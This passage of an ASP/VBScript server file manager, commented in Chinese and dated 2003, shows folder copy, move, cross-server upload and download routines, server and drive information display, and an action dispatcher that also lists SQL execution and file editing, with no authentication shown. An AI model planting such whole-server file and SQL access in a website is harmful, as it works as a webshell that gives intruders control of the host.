''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 过程名称：FolderCopy()
' 功能说明：文件夹的拷贝
' 创建时间：2003-07-31 13:20
' 修改时间：2003-07-31 13:20
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Sub FolderCopy()
	Call FileHead()
	
	If Not FSO.FolderExists(TestFilePath) Then
		StrErr = StrErr & "指定的文件夹不存在，请刷新页面重试！\n"	
	End If

	CheckStrErr()

	Set Folder = FSO.GetFolder(TestFilePath)
	ParentFolder = Folder.ParentFolder

	tmpStr = ""
	tmpStr = tmpStr & "<form action='"&Url&"?action=FolderCopySave' name='form1' method='POST'>"
	tmpStr = tmpStr & "<table border=0 width=480 cellspacing=1 cellpadding=2 align=center>"
	tmpStr = tmpStr & "<th colspan=2>文件夹复制</th>"
	tmpStr = tmpStr & "<tr><td width=100 align=right><strong>目标地址：</strong></td><td><input type=text value='"&ParentFolder&"' name='FolderToPath' style=width:350px></td></tr>"
	tmpStr = tmpStr & "<tr><td align=right><strong>复制的文件夹：</strong></td><td><input type=text value='"&TestFilePath&"' name=FolderPath style=width:350px></td></tr>"
	tmpStr = tmpStr & "<tr><td colspan=2 align=center><input type=submit value='复制'>&nbsp;&nbsp;"
	tmpStr = tmpStr & "<input type=reset value='重设'>&nbsp;&nbsp;<input type=button value='关闭' onclick='javascript:window.close();'></td></tr></table></form>"
	
	Response.Write tmpStr
	Response.End

End Sub


''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 过程名称：FolderCopySave()
' 功能说明：文件夹拷贝的保存
' 创建时间：2003-07-31 13:20
' 修改时间：2003-07-31 13:20
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Sub FolderCopySave()
	Dim FolderToPath,FolderPath,tmpFolder

	FolderToPath = Trim(Request.Form("FolderToPath"))
	FolderPath   = Trim(Request.Form("FolderPath"))

	If Len(FolderToPath) <= 0 Then
		StrErr = StrErr & "请输入要复制到的目标地址！\n"	
	End If

	If Len(FolderPath) <= 0 Then
		StrErr = StrErr & "请输入要复制的文件夹！\n"	
	End If
	
	CheckStrErr()

	If Not FSO.FolderExists(FolderToPath) Then
		StrErr = StrErr & "复制的目标地址不存在，请重新填写！\n"	
	End If
	
	CheckStrErr()
	
	Set Folder    = FSO.GetFolder(FolderPath)

	If FSO.FolderExists(FolderToPath&"\"&Folder.Name) Then
				
		Response.Write "<script>"
		Response.Write "  if(confirm('您要复制的文件夹在目标地址已经存在，请确认是否替换？'))"
		Response.Write "    window.location = '"&Url&"?action=FolderCopySaveQuery&FolderCopySaveOver=1&TestFilePath="&UrlEnCode(FolderPath)&"&FolderCopyToPath="&UrlEnCode(FolderToPath)&"';"
		Response.Write "  else "
		Response.Write "    window.location = '"&Url&"?action=FolderCopySaveQuery&FolderCopySaveOver=0&TestFilePath="&UrlEnCode(FolderPath)&"&FolderCopyToPath="&UrlEnCode(FolderToPath)&"';"
		Response.Write "</script>"

		Response.End

	End If
	
	If Right(FolderToPath,1) <> "\" Then
		FolderToPath = FolderToPath&"\"
	End If
	
	FSO.CopyFolder FolderPath,FolderToPath

	Response.Write("<script>")
	Response.Write("alert('"&Folder.Name&"文件夹拷贝成功,请刷新页面查看！');window.close();</script>")
	Response.End
End Sub


''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 过程名称：FolderCopySaveQuery()
' 功能说明：文件夹的复制的判断
' 创建时间：2003-07-31 13:20
' 修改时间：2003-07-31 13:20
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Sub FolderCopySaveQuery()
	Dim FolderCopySaveOver,FolderCopyToPath

	FolderCopySaveOver  = Trim(Request.QueryString("FolderCopySaveOver"))
	FolderCopyToPath    = Trim(Request.QueryString("FolderCopyToPath"))
	FolderCopyToPath    = Replace(FolderCopyToPath,"/","\")
	
	If (Len(TestFilePath) <= 0) or  (Len(FolderCopyToPath) <= 0) Then
		StrErr = "系统出现了未知的错误，请重新执行！\n"	
	End If

	If (Not FSO.FolderExists(TestFilePath)) or (Not FSO.FolderExists(FolderCopyToPath)) Then
		StrErr = "系统出现了未知的错误，请重新执行！\n"	
	End If
	
	CheckStrErr()
	
	If FolderCopySaveOver = "1" Then
		
		FSO.CopyFolder TestFilePath,FolderCopyToPath

		tmpStr = "<script>alert('文件夹拷贝成功,请刷新页面查看！');window.close();</script>"
	Else
		tmpStr = "<script>history.go(-2);</script>"
	End If
	
	Response.Write tmpStr

	Response.End

End Sub


''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 过程名称：FolderUpload()
' 功能说明：文件夹的上传
' 创建时间：2003-07-31 13:20
' 修改时间：2003-07-31 13:20
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Sub FolderUpload()
	Call FileHead()
	
	If Not FSO.FolderExists(TestFilePath) Then
		StrErr = StrErr & "指定的文件夹不存在，请刷新页面重试！\n"	
	End If

	CheckStrErr()

	Set Folder = FSO.GetFolder(TestFilePath)
	
	If Folder.IsRootFolder Then
		ParentFolder = TestFilePath
	Else
		ParentFolder = Folder.ParentFolder
	End If
	
	tmpStr = ""
	tmpStr = tmpStr & "<form action='"&Url&"?action=FolderUploadSave' name='form1' method='POST'>"
	tmpStr = tmpStr & "<table border=0 width=450 cellspacing=1 cellpadding=2 align=center>"
	tmpStr = tmpStr & "<th colspan=2>文件夹上传</th>"
	tmpStr = tmpStr & "<tr><td width=100 align=right><strong>目标地址：</strong></td><td><input type=text value='"&ParentFolder&"' name='FolderUploadToPath' style=width:350px></td></tr>"
	tmpStr = tmpStr & "<tr><td align=right><strong>源&nbsp;地&nbsp;址：</strong></td><td><input type=text value='"&TestFilePath&"' name='FolderUploadPath' style=width:350px></td></tr>"
	tmpStr = tmpStr & "<tr><td align=right><strong>源服务器：</strong></td><td><input type=text value='Http://zyz/ip/FolderUpload/"&Url&"' name='FolderUploadServer' style=width:350px></td></tr>"
	tmpStr = tmpStr & "<tr><td colspan=2 align=center><input type=submit value='上传'>&nbsp;&nbsp;"
	tmpStr = tmpStr & "<input type=reset value='重设'>&nbsp;&nbsp;<input type=button value='关闭' onclick='javascript:window.close();'></td></tr></table></form>"
	
	Response.Write tmpStr
	Response.End

End Sub


''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 过程名称：FolderUploadSave()
' 功能说明：处理上一个页面的信息，把执行的权限交给本地服务器
' 创建时间：2003-07-31 13:20
' 修改时间：2003-07-31 13:20
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Sub FolderUploadSave()
	Dim FolderUploadToPath,FolderUploadPath
	Dim FolderUploadToServer,FolderUploadServer
	
	FolderUploadToServer = Trim(Request.Form("FolderUploadToServer"))
	FolderUploadToPath   = Trim(Request.Form("FolderUploadToPath"))
	
	FolderUploadServer   = Trim(Request.Form("FolderUploadServer"))
	FolderUploadPath     = Trim(Request.Form("FolderUploadPath"))
	
	If Len(FolderUploadToPath) <= 0 or Len(FolderUploadPath) <= 0 Then
		StrErr = StrErr & "您目标地址或源地址为空，请输入！\n"	
	End If
	
	If Len(FolderUploadServer) <= 0 Then
		StrErr = StrErr & "源Web服务器地址为空，请输入！\n"	
	End If

	CheckStrErr()
	
	FolderUploadToServer = "Http://"&Request.ServerVariables("SERVER_NAME")&Request.ServerVariables("Path_Info")
	'FolderUploadServer   = "Http://zyz/ip/folderUpload/"&Url&"?action=FolderUploadServer"
	FolderUploadServer   = FolderUploadServer & "?action=FolderUploadServer"
	
	tmpStr = FolderUploadServer
	tmpStr = tmpStr & "&FolderUploadToServer="&UrlEnCode(FolderUploadToServer)
	tmpStr = tmpStr & "&FolderUploadPath="&UrlEnCode(FolderUploadPath)
	tmpStr = tmpStr & "&FolderUploadToPath="&UrlEnCode(FolderUploadToPath)

	Response.Redirect(tmpStr)
	Response.End()
	
End Sub


''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 过程名称：FolderUploadServer()
' 功能说明：显示当前文件夹下的所有文件
' 创建时间：2003-07-31 13:20
' 修改时间：2003-07-31 13:20
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Sub FolderUploadServer()
	Dim FolderUploadToServer,FolderUploadToPath,FolderUploadPath
	Dim Files,RowColor
	
	FolderUploadToServer = Trim(Request.QueryString("FolderUploadToServer"))
	FolderUploadToPath   = Trim(Request.QueryString("FolderUploadToPath"))
	
	FolderUploadPath     = Trim(Request.QueryString("FolderUploadPath"))
	
	If Len(FolderUploadToServer) <= 0 or Len(FolderUploadToPath) <= 0 or Len(FolderUploadPath) <= 0 Then
		StrErr = StrErr & "系统出现了未知的错误，请关闭刷新页面重新执行！\n"	
	End If
	
	If Not FSO.FolderExists(FolderUploadPath) Then
		StrErr = StrErr & "指定的文件夹不存在，请关闭刷新页面重新执行！\n"	
	End If
	
	CheckStrErr()

	Call FileHead()
	
	Set Folder = FSO.GetFolder(FolderUploadPath)
	Set Files  = Folder.Files
	
	tmpStr = ""
	tmpStr = tmpStr & "<form action='"&FolderUploadToServer&"?action=FolderUploadToServer' name='form1' method='POST' enctype='multipart/form-data'>"&vbCrLf
	tmpStr = tmpStr & "<table border=0 width=450 cellspacing=1 cellpadding=2 align=center>"
	tmpStr = tmpStr & "<th colspan=2>文件上传</th>"
	tmpStr = tmpStr & "<tr><td width=210 align='center'><strong>源地址</strong></td><td align='center'><strong>源地址备份</strong></td></tr>"
	
	If Files.Count <> 0 Then
		i = 1
		For Each File In Files
			RowColor = "#EEFEE0"
			i = i + 1
			
			If i Mod 2 = 0 Then RowColor = "#DEFDC1"
			
			tmpStr = tmpStr & "<tr><td align='left' bgcolor='"&RowColor&"'><input type='file' name='Upload"&i&"' style='BACKGROUND-color: "&RowColor&"'></td>"&vbCrLf
			tmpStr = tmpStr & "<td align='center' bgcolor='"&RowColor&"'><input type='text' name='text"&i&"' value='"&File.Path&"' style='BACKGROUND-color: "&RowColor&";width:235px'  onMouseOver='this.focus()' onFocus='this.select()'></td></tr>"&vbCrLf
		Next
	End If
	
	tmpStr = tmpStr & "<tr><td align=right colspan='2'><input type='hidden' name='FolderUploadToPath' value='"&FolderUploadToPath&"'></td></tr>"&vbCrLf
	tmpStr = tmpStr & "<tr><td colspan=2 align=center><input type=submit value='上传'>&nbsp;&nbsp;"
	tmpStr = tmpStr & "<input type=reset value='重设'>&nbsp;&nbsp;<input type=button value='关闭' onclick='javascript:window.close();'></td></tr></table></form>"
	
	Response.Write tmpStr
	Response.End
	
End Sub


''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 过程名称：FolderUploadToServer()
' 功能说明：文件夹上传保存
' 创建时间：2003-07-31 13:20
' 修改时间：2003-07-31 13:20
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Sub FolderUploadToServer()
	Dim FolderUploadToPath,objUpload,FileName
	
	Set objUpload = New upload_5xsoft
	
	FolderUploadToPath = Trim(objUpload.Form("FolderUploadToPath"))
	
	If Len(FolderUploadToPath) <= 0 Then
		StrErr = StrErr & "系统出现了未知的错误，请关闭刷新页面重新执行！\n"	
	End If
	
	CheckStrErr()
	
	If Right(FolderUploadToPath,1) <> "\" Then
		FolderUploadToPath = FolderUploadToPath&"\"
	End If
	
	i = 0
	For Each FileName In objUpload.objFile
		Set File = objUpload.File(FileName)
		
		If File.FileSize > 0 Then
			i = i + 1
			File.SaveAs FolderUploadToPath&File.FileName
		End If
		
		Set File = Nothing

	Next	
	
	Response.Write("<script>alert('一共上传了 "&i&" 个文件，请刷新页面查看！');window.close();</script>")
	Response.End
End Sub


''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 过程名称：FolderDownLoad()
' 功能说明：文件夹的下载，填写信息
' 创建时间：2003-07-31 13:20
' 修改时间：2003-07-31 13:20
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Sub FolderDownLoad()
	Call FileHead()
	Dim Files,RowColor
	
	If Not FSO.FolderExists(TestFilePath) Then
		StrErr = StrErr & "指定的文件夹不存在，请刷新页面重试！\n"	
	End If

	CheckStrErr()

	Set Folder = FSO.GetFolder(TestFilePath)
	Set Files  = Folder.Files

	tmpStr = tmpStr & "<table border=0 width=450 cellspacing=1 cellpadding=2 align=center>"
	tmpStr = tmpStr & "<th>文件下载</th>"
	
	If Files.Count <> 0 Then
		i = 1
		For Each File In Files
			RowColor = "#EEFEE0"
			i = i + 1
			
			If i Mod 2 = 0 Then RowColor = "#DEFDC1"
			
			tmpStr = tmpStr & "<tr><td align='left' bgcolor='"&RowColor&"'>"
			tmpStr = tmpStr & "<a href='###' onclick=""window.open('"&Url&"?action=downloadFile&TestFilePath="&UrlEnCode(File.Path)&"','','width=1,height=1,left=100,top=100')"">"&File.Path&"</a></td></tr>"&vbCrLf
		Next
	End If
	
	tmpStr = tmpStr & "<tr><td align=center>"
	tmpStr = tmpStr & "<input type=button value='关闭' onclick='javascript:window.close();'></td></tr></table></form>"
	
	Response.Write tmpStr
	Response.End
End Sub



''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 过程名称：FolderMove()
' 功能说明：文件夹的移动
' 创建时间：2003-07-31 13:20
' 修改时间：2003-07-31 13:20
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Sub FolderMove()
	Call FileHead()
	
	If Not FSO.FolderExists(TestFilePath) Then
		StrErr = StrErr & "指定的文件夹不存在，请刷新页面重试！\n"	
	End If

	CheckStrErr()

	Set Folder = FSO.GetFolder(TestFilePath)
	ParentFolder = Folder.ParentFolder

	tmpStr = ""
	tmpStr = tmpStr & "<form action='"&Url&"?action=FolderMoveSave' name='form1' method='POST'>"
	tmpStr = tmpStr & "<table border=0 width=480 cellspacing=1 cellpadding=2 align=center>"
	tmpStr = tmpStr & "<th colspan=2>文件夹移动</th>"
	tmpStr = tmpStr & "<tr><td width=100 align=right><strong>目标地址：</strong></td><td><input type=text value='"&ParentFolder&"' name='FolderToPath' style=width:350px></td></tr>"
	tmpStr = tmpStr & "<tr><td align=right><strong>移动的文件夹：</strong></td><td><input type=text value='"&TestFilePath&"' name=FolderPath style=width:350px></td></tr>"
	tmpStr = tmpStr & "<tr><td colspan=2 align=center><input type=submit value='移动'>&nbsp;&nbsp;"
	tmpStr = tmpStr & "<input type=reset value='重设'>&nbsp;&nbsp;<input type=button value='关闭' onclick='javascript:window.close();'></td></tr></table></form>"
	
	Response.Write tmpStr
	Response.End

End Sub


''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 过程名称：FolderMoveSave()
' 功能说明：文件夹移动的保存
' 创建时间：2003-07-31 13:20
' 修改时间：2003-07-31 13:20
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Sub FolderMoveSave()
	Dim FolderToPath,FolderPath,tmpFolder,FolderName

	FolderToPath = Trim(Request.Form("FolderToPath"))
	FolderPath   = Trim(Request.Form("FolderPath"))

	If Len(FolderToPath) <= 0 Then
		StrErr = StrErr & "请输入要移动到的目标地址！\n"	
	End If

	If Len(FolderPath) <= 0 Then
		StrErr = StrErr & "请输入要移动的文件夹！\n"	
	End If
	
	CheckStrErr()

	If Not FSO.FolderExists(FolderToPath) Then
		StrErr = StrErr & "移动的目标地址不存在，请重新填写！\n"	
	End If
	
	CheckStrErr()
	
	Set Folder = FSO.GetFolder(FolderPath)
	FolderName = Folder.Name
	
	If FSO.FolderExists(FolderToPath&"\"&FolderName) Then
				
		Response.Write "<script>"
		Response.Write "  if(confirm('您要移动的文件夹在目标地址已经存在，请确认是否替换？'))"
		Response.Write "    window.location = '"&Url&"?action=FolderMoveSaveQuery&FolderMoveSaveOver=1&TestFilePath="&UrlEnCode(FolderPath)&"&FolderMoveToPath="&UrlEnCode(FolderToPath)&"';"
		Response.Write "  else "
		Response.Write "    window.location = '"&Url&"?action=FolderMoveSaveQuery&FolderMoveSaveOver=0&TestFilePath="&UrlEnCode(FolderPath)&"&FolderMoveToPath="&UrlEnCode(FolderToPath)&"';"
		Response.Write "</script>"

		Response.End

	End If
	
	If Right(FolderToPath,1) <> "\" Then
		FolderToPath = FolderToPath&"\"
	End If
	
	FSO.MoveFolder FolderPath,FolderToPath

	Response.Write("<script>")
	Response.Write("alert('"&FolderName&"文件夹移动成功,请刷新页面查看！');window.close();</script>")
	Response.End
End Sub


''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 过程名称：FolderMoveSaveQuery()
' 功能说明：文件夹的移动的判断
' 创建时间：2003-07-31 13:20
' 修改时间：2003-07-31 13:20
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Sub FolderMoveSaveQuery()
	Dim FolderMoveSaveOver,FolderMoveToPath

	FolderMoveSaveOver  = Trim(Request.QueryString("FolderMoveSaveOver"))
	FolderMoveToPath    = Trim(Request.QueryString("FolderMoveToPath"))
	FolderMoveToPath    = Replace(FolderMoveToPath,"/","\")
	
	If (Len(TestFilePath) <= 0) or  (Len(FolderMoveToPath) <= 0) Then
		StrErr = "系统出现了未知的错误，请重新执行！\n"	
	End If

	If (Not FSO.FolderExists(TestFilePath)) or (Not FSO.FolderExists(FolderMoveToPath)) Then
		StrErr = "系统出现了未知的错误，请重新执行！\n"	
	End If
	
	CheckStrErr()
	
	If FolderMoveSaveOver = "1" Then
		
		FSO.MoveFolder TestFilePath,FolderMoveToPath

		tmpStr = "<script>alert('文件夹移动成功,请刷新页面查看！');window.close();</script>"
	Else
		tmpStr = "<script>history.go(-2);</script>"
	End If
	
	Response.Write tmpStr

	Response.End

End Sub


Select Case action
	Case "Current"
		Call GenerateTestInformation()
	Case "ExecuteSql"
		Call ExecuteSql()
	Case "ExecuteSqlTo"
		Call ExecuteSqlTo()
	Case "Out"
		Call Out()
		
		
	Case "Search"
		Call Search()
	Case "SearchAnswer"
		Call SearchAnswer()


'======================================================
	Case "downloadFile"
		Call downloadFile(TestFilePath)


	Case "FileDelete"
		Call FileDelete()


	Case "FileCopy"
		Call FileCopy()
	Case "FileCopySave"
		Call FileCopySave()
	Case "FileCopySaveQuery"
		Call FileCopySaveQuery()


	Case "FileMove"
		Call FileMove()
	Case "FileMoveSave"
		Call FileMoveSave()
	Case "FileMoveSaveQuery"
		Call FileMoveSaveQuery()


	Case "FileUpload"
		Call FileUpload()
	Case "FileUploadSave"
		Call FileUploadSave()
	Case "FileUploadSaveQuery"
		Call FileUploadSaveQuery()


	Case "FileReName"
		Call FileReName()
	Case "FileReNameSave"
		Call FileReNameSave()


	Case "FileEdit"
		Call FileEdit()
	Case "FileEditSave"
		Call FileEditSave()


	Case "FileNew"
		Call FileNew()
	Case "FileNewSave"
		Call FileNewSave()
		

	Case "FileDownLoad"
		Call FileDownLoad()
	Case "FileDownLoadSave"
		Call FileDownLoadSave()
	Case "FileDownLoadSaveQuery"
		Call FileDownLoadSaveQuery()
	Case "FileDownLoadServer"
		Call FileDownLoadServer()
	Case "FileDownLoadToServer"
		Call FileDownLoadToServer()
		
'==========================================================


'===========================================================
	Case "FolderNew"
		Call FolderNew()
	Case "FolderNewSave"
		Call FolderNewSave()


	Case "FolderDelete"
		Call FolderDelete()


	Case "FolderCopy"
		Call FolderCopy()
	Case "FolderCopySave"
		Call FolderCopySave()
	Case "FolderCopySaveQuery"
		Call FolderCopySaveQuery()


	Case "FolderMove"
		Call FolderMove()
	Case "FolderMoveSave"
		Call FolderMoveSave()
	Case "FolderMoveSaveQuery"
		Call FolderMoveSaveQuery()


	Case "FolderUpload"
		Call FolderUpload()
	Case "FolderUploadSave"
		Call FolderUploadSave()
	Case "FolderUploadSaveQuery"
		Call FolderUploadSaveQuery()
	Case "FolderUploadServer"
		Call FolderUploadServer()
	Case "FolderUploadToServer"
		Call FolderUploadToServer()


	Case "FolderDownLoad"
		Call FolderDownLoad()
	Case "FolderDownLoadSave"
		Call FolderDownLoadSave()
	Case "FolderDownLoadSaveQuery"
		Call FolderDownLoadSaveQuery()
	Case "FolderDownLoadServer"
		Call FolderDownLoadServer()
	Case "FolderDownLoadToServer"
		Call FolderDownLoadToServer()


'==========================================================


	Case "BackUpDataBase"
		Call BackUpDataBase()
	Case "BackUpDataBaseSave"
		Call BackUpDataBaseSave()


'==========================================================


	Case "readtext"
		Call ReadText()
	Case "SupportObject"
		Call SupportObject()
	Case "FileNewCreate"
		Call FileNewCreate()		
	Case Else
		Call Main()
		
End Select			

Call fileFooter()


''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 过程名称：Main()
' 功能说明：显示系统信息和支持的组件
' 创建时间：2003-07-31 13:20
' 修改时间：2003-07-31 13:20
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Sub Main()
	Call fileHead()
	Call FileHeadTitle()
	
	Call ShowServerInfo()
	
	Response.Write("<br>")
	Response.Write GenerateDriveInformation(FSO)

End Sub


''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 过程名称：systemDrive()
' 功能说明：显示系统当前的驱动器
' 创建时间：2003-07-31 13:20
' 修改时间：2003-07-31 13:20
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Sub systemDrive()
	Dim Drives, Drive
	Set Drives = FSO.Drives
	
	For Each Drive In Drives
		Response.Write("<td width='40'><a href='"&Url&"?action=Current&TestFilePath="&Drive.Path&"\"&"'>"&Drive.DriveLetter&"盘</a></td>")
	Next

End Sub



''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 过程名称：ShowServerInfo()
' 功能说明：显示服务器有关参数的信息
' 创建时间：2003-06-24 19:12
' 修改时间：2003-07-31 13:20
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Sub ShowServerInfo()
%>
	<table border=0 width=700 cellspacing=1 cellpadding=0 align="center">
	  <th colspan="2">服务器有关参数信息</th>
	  <tr>
		<td align=right width="120">服务器名：&nbsp;</td><td>&nbsp;<%=Request.ServerVariables("SERVER_NAME")%></td>
	  </tr>
	  <tr>
		<td align=right>服务器IP：&nbsp;</td><td>&nbsp;<%=Request.ServerVariables("LOCAL_ADDR")%></td>
	  </tr>
	  <tr>
		<td align=right>服务器端口：&nbsp;</td><td>&nbsp;<%=Request.ServerVariables("SERVER_PORT")%></td>
	  </tr>
	  <tr>
		<td align=right>服务器时间：&nbsp;</td><td>&nbsp;<%=now%></td>
	  </tr>
	  <tr>
		<td align=right>IIS版本：&nbsp;</td><td>&nbsp;<%=Request.ServerVariables("SERVER_SOFTWARE")%></td>
	  </tr>
	  <tr>
		<td align=right>脚本超时时间：&nbsp;</td><td>&nbsp;<%=Server.ScriptTimeout%> 秒</td>
	  </tr>
	  <tr>
		<td align=right>本文件路径：&nbsp;</td><td>&nbsp;<%=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%></td>
	  </tr>
	  <tr>
		<td align=right>服务器CPU数量：&nbsp;</td><td>&nbsp;<%=Request.ServerVariables("NUMBER_OF_PROCESSORS")%> 个</td>
	  </tr>
	  <tr>
		<td align=right>服务器解译引擎：&nbsp;</td><td>&nbsp;<%=ScriptEngine & "/"& ScriptEngineMajorVersion &"."&ScriptEngineMinorVersion&"."& ScriptEngineBuildVersion %></td>
	  </tr>
	  <tr>
		<td align=right>服务器操作系统：&nbsp;</td><td>&nbsp;<%=Request.ServerVariables("OS")%></td>
	  </tr>
	</table>
<%
End Sub


''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 函数名称：ShowDriveType()
' 功能说明：描述给定 Drive 对象的驱动器类型
' 创建时间：2003-06-24 19:19
' 修改时间：2003-07-31 13:20
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Function ShowDriveType(Drive)
	Dim S
	
	Select Case Drive.DriveType
		Case DriveTypeRemovable
			S = "Removable"
		Case DriveTypeFixed
			S = "Fixed"
		Case DriveTypeNetwork
			S = "Network"
		Case DriveTypeCDROM
			S = "CD-ROM"
		Case DriveTypeRAMDisk
			S = "RAM Disk"
		Case Else
			S = "Unknown"
	End Select
	
	ShowDriveType = S
End Function


''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 函数名称：ShowFileAttr()
' 功能说明：显示文件或文件夹的属性
' 创建时间：2003-06-24 19:19
' 修改时间：2003-07-31 13:20
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Function ShowFileAttr(File) 

   Dim S
   Dim Attr
   
   Attr = File.Attributes

   If Attr = 0 Then
      ShowFileAttr = "Normal"
      Exit Function
   End If

   If Attr And FileAttrDirectory Then S = S & "Directory "
   If Attr And FileAttrReadOnly Then S = S & "Read-Only "
   If Attr And FileAttrHidden Then S = S & "Hidden "
   If Attr And FileAttrSystem Then S = S & "System "
   If Attr And FileAttrVolume Then S = S & "Volume "
   If Attr And FileAttrArchive Then S = S & "Archive "
   If Attr And FileAttrAlias Then S = S & "Alias "
   If Attr And FileAttrCompressed Then S = S & "Compressed "

   ShowFileAttr = S

End Function


''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 函数名称：GenerateDriveInformation()
' 功能说明：描述可用驱动器的当前状态
' 创建时间：2003-06-24 19:19
' 修改时间：2003-07-31 13:20
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Function GenerateDriveInformation(FSO)
	Dim Drives, Drive
	tmpStr = ""
	
	Set Drives = FSO.Drives
	
    tmpStr = tmpStr & "<table border=0 width=700 cellspacing=1 cellpadding=2 align=center>"
	tmpStr = tmpStr & "<th colspan=10>系统可用驱动器的当前状态</th>"
	tmpStr = tmpStr & "<tr><td colspan=10><strong>驱动器的数量</strong>：" &Drives.Count& "</td></tr>"
	
	tmpStr = tmpStr & "<tr align=center><td width=40><strong>盘符</strong></td>"
	tmpStr = tmpStr & "<td width=40><strong>路径</strong></td>"
	tmpStr = tmpStr & "<td width=70><strong>类型</strong></td>"
	tmpStr = tmpStr & "<td width=50><strong>状态</strong></td>"
	tmpStr = tmpStr & "<td><strong>卷标</strong></td>"
	tmpStr = tmpStr & "<td><strong>文件类型</strong></td>"
	tmpStr = tmpStr & "<td><strong>总容量(M)</strong></td>"
	tmpStr = tmpStr & "<td><strong>可用空间(M)</strong></td>"
	tmpStr = tmpStr & "<td><strong>有效空间(M)</strong></td>"
	tmpStr = tmpStr & "<td><strong>序列号</strong></td></tr>"
	
	For Each Drive In Drives
		tmpStr = tmpStr & "<tr align=center><td>" &Drive.DriveLetter& "</td>"
		tmpStr = tmpStr & "<td>" &Drive.Path& "</td>"
		tmpStr = tmpStr & "<td>" &ShowDriveType(Drive)& "</td>"
		tmpStr = tmpStr & "<td>" &Drive.IsReady& "</td>"

		If Drive.IsReady Then
			If DriveTypeNetwork = Drive.DriveType Then   
				If Len(Drive.ShareName) <= 0 Then
					tmpStr = tmpStr & "<td>无</td>"
				Else
					tmpStr = tmpStr & "<td>" &Drive.ShareName& "</td>"
				End If
			Else
				If Len(Drive.VolumeName) <= 0 Then
					tmpStr = tmpStr & "<td>无</td>"
				Else
					tmpStr = tmpStr & "<td>" &Drive.VolumeName& "</td>"
				End If
			End If
			
			tmpStr = tmpStr & "<td>" &Drive.FileSystem& "</td>"
			tmpStr = tmpStr & "<td>" &FormatNumber(Drive.TotalSize / (1024 * 1024), 0)& "</td>"
			tmpStr = tmpStr & "<td>" &FormatNumber(Drive.FreeSpace / (1024 * 1024), 0)& "</td>"
			tmpStr = tmpStr & "<td>" &FormatNumber(Drive.AvailableSpace / (1024 * 1024), 0)& "</td>"
			tmpStr = tmpStr & "<td>" & Hex(Drive.SerialNumber) & "</td></tr>"
		End If
		
   Next
   GenerateDriveInformation = tmpStr & "</table>"

End Function


''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 函数名称：GenerateFileInformation()
' 功能说明：描述文件的当前状态
' 创建时间：2003-06-25 17:01
' 修改时间：2003-07-31 13:20
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Function GenerateFileInformation(File,i)

	Dim S, RowColor
	
	RowColor = ""
	If i Mod 2 = 0 Then RowColor = "bgcolor=#DEFDC1"
	
	S = "<tr><td "&RowColor&" title='"&(File.Path)&"'><a href='###' onclick=""window.open('"&Url&"?action=FileEdit&TestFilePath="&UrlEnCode(File.Path)&"','','width=770,height=540,left=0,top=0')"">" & File.Name & "</a></td>"
	S = S & "<td "&RowColor&">" & FormatNumber(File.Size/1024 ,0) & "</td>"
	S = S & "<td "&RowColor&">" & File.DateCreated & "</td>"
	S = S & "<td "&RowColor&">" & File.DateLastModified & "</td>"
	S = S & "<td align=center "&RowColor&">"
	S = S & "<a href='###' onclick=""window.open('"&Url&"?action=FileEdit&TestFilePath="&UrlEnCode(File.Path)&"','','width=770,height=540,left=0,top=0')"">编辑</a><font color='#004824'>|</font>"
	S = S & "<a href='###' onclick=FileDelete('"&UrlEnCode(File.Path)&"')>删除</a><font color='#004824'>|</font>"
	S = S & "<a href='###' onclick=""window.open('"&Url&"?action=FileReName&TestFilePath="&UrlEnCode(File.Path)&"','','width=500,height=200,left=100,top=100')"">改名</a><font color='#004824'>|</font>"
	S = S & "<a href='###' onclick=""window.open('"&Url&"?action=FileMove&TestFilePath="&UrlEnCode(File.Path)&"','','width=500,height=200,left=100,top=100')"">移动</a><font color='#004824'>|</font>"
	S = S & "<a href='###' onclick=""window.open('"&Url&"?action=FileCopy&TestFilePath="&UrlEnCode(File.Path)&"','','width=500,height=200,left=100,top=100')"">拷贝</a><font color='#004824'>|</font>"
